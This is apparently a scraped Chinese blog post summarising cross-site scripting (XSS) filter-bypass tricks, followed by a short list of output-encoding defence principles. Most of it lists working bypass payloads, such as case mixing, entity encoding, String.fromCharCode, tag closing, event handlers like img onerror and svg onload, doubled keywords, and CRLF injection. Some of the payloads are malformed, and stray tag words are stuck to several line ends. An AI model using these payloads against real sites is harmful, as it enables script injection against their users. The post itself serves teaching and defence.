XSS绕过与防护总结

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。javascript

0x01 XSS的分类

  • 反射型(非持久型)
  • 存储型(持久型)
  • DOM型

具体的一些介绍与简单的实例就不作详述了,本文主要介绍的是XSS的绕过技巧与防护。java

0x02 XSS的绕过

大小写绕过

<ScRIpT>alert('123')</sCRIpT>

编码绕过

1.十六进制编码

2.jsfuck编码

3.url编码

4.unicode编码

    <0x736372697074>alert('123')</0x736372697074>
    <img src="1" onerror="alert&#x28;1&#x29;"> 
    '被过滤,咱们能够将'写为 &#x27
    将"/"转义为"&sol;"

绕过magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

闭合标签

"><script>alert(/123/)</script>

    </script><script>alert(1)</script>

标签绕过

<img src="x" onerror="alert(1)">
    <button onclick="javascript:alert('xss')>XSS</button">
    <title><img a="</title><img/src=1 onerror=alert(1)//">
    "onsubmit=javascript:alert(1)%20name="a

其余符号绕过

%0aalert(1);   %0a  换行符
    /**/            替换空格
    %00             截断

双字母绕过

<img ononerrorerror="123">
    <script>alalertert(123)</script>

宽字节绕过

gbxxxx系列的编码,那么咱们尝试一下宽字节  %c0 %bf  %5c

其余事件绕过

onload
    onclick
    onerror
    prompt
    confirm
    onmousemove

CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码

<svg/onload=prompt(1)>

0x03 XSS的防护

  • 原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据xss

  • 原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码svg

  • 原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码编码

  • 原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码url

  • 原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码code

  • 原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码事件

  • 原则7:使用富文本时,使用XSS规则引擎进行编码过滤ip

欢迎访问独立博客joy_nickunicode

相关文章
相关标签/搜索